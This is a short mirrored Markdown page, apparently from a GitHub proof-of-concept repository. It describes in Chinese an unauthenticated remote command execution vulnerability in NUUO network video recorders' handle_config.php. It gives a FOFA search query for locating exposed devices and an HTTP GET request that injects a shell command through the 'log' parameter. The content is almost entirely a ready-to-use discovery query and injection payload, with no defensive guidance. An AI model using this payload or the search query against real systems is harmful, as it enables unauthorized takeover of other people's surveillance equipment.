mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-08-12 11:06:19 +00:00
18 lines
483 B
Markdown
18 lines
483 B
Markdown
# NUUO摄像机handle_config.php远程代码执行漏洞
|
||
|
||
NUUO摄像头是中国台湾NUUO公司旗下的一款网络视频记录器，NUUO摄像头handle_config.php存在未授权命令执行漏洞，攻击者可以获取服务器权限
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
body="www.nuuo.com/eHelpdesk.php"
|
||
```
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
GET /handle_config.php?log=;id; HTTP/1.1
|
||
Host:
|
||
```
|
||
|
||
 |